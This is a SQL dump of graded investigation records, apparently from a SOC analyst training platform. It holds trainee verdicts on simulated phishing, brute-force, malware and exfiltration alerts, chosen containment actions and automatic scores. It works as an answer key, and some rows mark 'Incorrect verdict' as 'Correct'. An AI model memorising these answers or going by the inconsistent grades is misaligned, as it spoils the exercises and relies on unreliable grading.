(407, 251, 268, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_hash\",\"collect_forensics\",\"escalate\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 10:52:29 AM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T05:22:50.598Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-06 04:45:23', '2026-03-10 05:22:50', 0, NULL),
(408, 254, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 07:04:42', '2026-03-06 07:04:42', 0, NULL),
(409, 254, 1377, 'investigating', NULL, NULL, NULL, NULL, '2026-03-06 10:33:42', '2026-03-06 07:27:42', '2026-03-06 07:27:42', 0, NULL),
(410, 256, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 08:30:57', '2026-03-06 08:30:57', 0, NULL),
(411, 225, 1442, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.70\",\"ip-203.0.113.100\"],\"selectedActions\":[\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"isolate_host\",\"block_hash\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 8:59:58 PM\\nALERT: Successful Data Exfiltration to External Server\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.1.70\\n- [IP] 203.0.113.100\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:00:02.162Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-06 13:09:02', '2026-03-06 09:59:02', '2026-03-06 10:00:02', 0, NULL),
(412, 225, 849, 'graded', 90, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.50\",\"domain-http://offic\",\"artifact_3\"],\"selectedActions\":[\"collect_forensics\",\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:15:25 PM\\nALERT: Credential Harvesting Attempt via Phishing Email\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.50\\n- [DOMAIN] http://office365-login.com/login\\n- [EMAIL] no-reply@office365-login.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:15:27.854Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', '2026-03-06 13:23:27', '2026-03-06 10:14:27', '2026-03-06 10:15:27', 0, NULL),
(413, 225, 943, 'graded', 80, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.1.2.34\",\"ip-198.51.100.45\",\"domain-http://fakeo\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:20:02 PM\\nALERT: Suspicious Office365 Login Page Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 10.1.2.34\\n- [IP] 198.51.100.45\\n- [DOMAIN] http://fakeoffice365.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:20:33.051Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)\",\"missed_items\":[\"block_url\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-06 13:27:31', '2026-03-06 10:17:31', '2026-03-06 10:20:33', 0, NULL),
(414, 225, 942, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-45.67.89.101\",\"ip-192.168.0.34\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:23:29 PM\\nALERT: Unauthorized Remote Access Attempt Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 45.67.89.101\\n- [IP] 192.168.0.34\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:23:45.524Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', '2026-03-06 13:27:05', '2026-03-06 10:22:05', '2026-03-06 10:23:45', 0, NULL),
(415, 225, 1379, 'graded', 80, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.55\",\"domain-http://malic\",\"artifact_1\"],\"selectedActions\":[\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:27:10 PM\\nALERT: Phishing Email with QR Code Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.55\\n- [DOMAIN] http://malicious-qrcode-site.com\\n- [EMAIL] alert@securitybank.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Block IP/Domain\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:27:43.990Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)\",\"missed_items\":[\"reset_credentials\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-06 13:29:23', '2026-03-06 10:24:23', '2026-03-06 10:27:43', 0, NULL),
(416, 225, 1390, 'graded', 60, 'Incorrect verdict. Expected false_positive, got true_positive. All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.12\",\"domain-http://suspi\",\"artifact_1\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:28:42 PM\\nALERT: Phishing Email with Suspicious URL\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 198.51.100.12\\n- [DOMAIN] http://suspicious-url.com/login\\n- [EMAIL] fake@phishingsite.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:28:45.490Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-06 13:34:07', '2026-03-06 10:28:07', '2026-03-06 10:28:45', 0, NULL),
(417, 225, 733, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.50\",\"ip-10.0.0.8\",\"domain-http://secur\",\"domain-trusted-secu\",\"artifact_1\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:30:45 PM\\nALERT: Business Email Compromise Attempt via Lookalike Domain\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 198.51.100.50\\n- [IP] 10.0.0.8\\n- [DOMAIN] http://secure-trusted.com/transaction\\n- [DOMAIN] trusted-secure.com\\n- [EMAIL] partner@trusted-secure.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:30:56.197Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-06 13:34:19', '2026-03-06 10:29:19', '2026-03-06 10:30:56', 0, NULL),
(418, 258, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 15:20:34', '2026-03-06 15:20:34', 0, NULL),
(419, 258, 1394, 'investigating', NULL, NULL, NULL, NULL, '2026-03-06 18:30:25', '2026-03-06 15:22:25', '2026-03-06 15:22:25', 0, NULL),
(420, 259, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 21:12:51', '2026-03-06 21:12:51', 0, NULL),
(422, 247, 1434, 'investigating', NULL, NULL, NULL, NULL, '2026-03-07 04:35:08', '2026-03-07 01:25:08', '2026-03-07 01:25:08', 0, NULL),
(423, 142, 731, 'graded', 80, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"ip-10.0.0.5\",\"domain-http://secur\",\"domain-company-secu\",\"artifact_1\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"isolate_host\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:11:58 PM\\nALERT: Spear Phishing Attempt with Malicious URL Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 198.51.100.23\\n- [IP] 10.0.0.5\\n- [DOMAIN] http://secure-company.com/login\\n- [DOMAIN] company-secure.com\\n- [EMAIL] ceo@company-secure.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T05:12:35.403Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)\",\"missed_items\":[\"block_url\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-07 08:15:44', '2026-03-07 05:08:44', '2026-03-07 05:12:35', 0, NULL),
(424, 142, 1387, 'graded', 80, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.50\",\"ip-192.168.1.15\",\"artifact_2\"],\"selectedActions\":[\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:14:44 PM\\nALERT: Brute Force Attack from Foreign IP\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 185.92.220.50\\n- [IP] 192.168.1.15\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Block IP/Domain\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T05:14:55.748Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)\",\"missed_items\":[\"reset_credentials\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-07 08:20:30', '2026-03-07 05:13:30', '2026-03-07 05:14:55', 0, NULL),
(425, 142, 269, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:17:41 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T05:17:51.648Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 05:16:28', '2026-03-07 05:17:51', 0, NULL),
(426, 232, 269, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 6:26:47 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T12:57:07.401Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 08:20:36', '2026-03-07 12:57:07', 0, NULL),
(427, 261, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-07 08:27:47', '2026-03-07 08:27:47', 0, NULL),
(428, 232, 247, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.77\",\"ip-192.168.1.10\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\",\"block_hash\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 7:51:27 PM\\nALERT: Brute Force Attack Detected - Multiple Failed Logins\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 203.0.113.77\\n- [IP] 192.168.1.10\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T14:21:36.824Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"close_alert\"],\"strengths\":\"Solid analysis\"}', '2026-03-07 11:36:39', '2026-03-07 08:28:39', '2026-03-07 14:21:36', 0, NULL),
(429, 260, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-07 10:22:53', '2026-03-07 10:22:53', 0, NULL),
(430, 225, 1374, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.50\",\"domain-http://phish\",\"domain-fakecompany.\",\"artifact_1\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\",\"close_alert\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 9:38:47 PM\\nALERT: Phishing Email Detected with Malicious URL\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.50\\n- [DOMAIN] http://phishing-portal.com/login\\n- [DOMAIN] fakecompany.com\\n- [EMAIL] spoofed-ceo@fakecompany.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T10:38:52.526Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 13:42:26', '2026-03-07 10:37:26', '2026-03-07 10:38:52', 0, NULL),
(431, 225, 1380, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.70\",\"domain-http://fake-\",\"domain-legitimateco\",\"artifact_1\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 9:42:12 PM\\nALERT: BEC Attempt Detected with Spoofed Domain\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.70\\n- [DOMAIN] http://fake-invoice-page.com\\n- [DOMAIN] legitimatecompany.com\\n- [EMAIL] ceo@legitimatecompany.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T10:42:21.803Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 13:46:16', '2026-03-07 10:39:16', '2026-03-07 10:42:21', 0, NULL),
(432, 225, 1385, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.70\",\"ip-203.0.113.175\",\"domain-exfiltration\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 9:44:10 PM\\nALERT: Data Exfiltration Attempt via Suspicious Domain\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.70\\n- [IP] 203.0.113.175\\n- [DOMAIN] exfiltration-domain.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T10:44:21.639Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 13:51:51', '2026-03-07 10:42:51', '2026-03-07 10:44:21', 0, NULL),
(433, 225, 1375, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.5\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\",\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:41:24 PM\\nALERT: Failed Login Attempts from Internal IP\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 10.0.0.5\\n- [USERNAME] testuser\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:41:37.428Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 14:21:30', '2026-03-07 11:11:30', '2026-03-07 11:41:37', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(434, 225, 1376, 'graded', 60, 'Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.50\",\"ip-203.0.113.150\",\"domain-suspicious-w\"],\"selectedActions\":[\"block_hash\",\"reset_credentials\",\"block_ip\",\"isolate_host\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:43:00 PM\\nALERT: Suspicious Domain Access Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.50\\n- [IP] 203.0.113.150\\n- [DOMAIN] suspicious-website.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:43:03.169Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-07 14:47:04', '2026-03-07 11:42:04', '2026-03-07 11:43:03', 0, NULL),
(435, 225, 1388, 'graded', 60, 'Incorrect verdict. Expected false_positive, got true_positive. All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.101\",\"ip-192.168.2.25\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:44:57 PM\\nALERT: Suspicious Login Activity\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.101\\n- [IP] 192.168.2.25\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:44:59.588Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-07 14:54:02', '2026-03-07 11:44:02', '2026-03-07 11:44:59', 0, NULL),
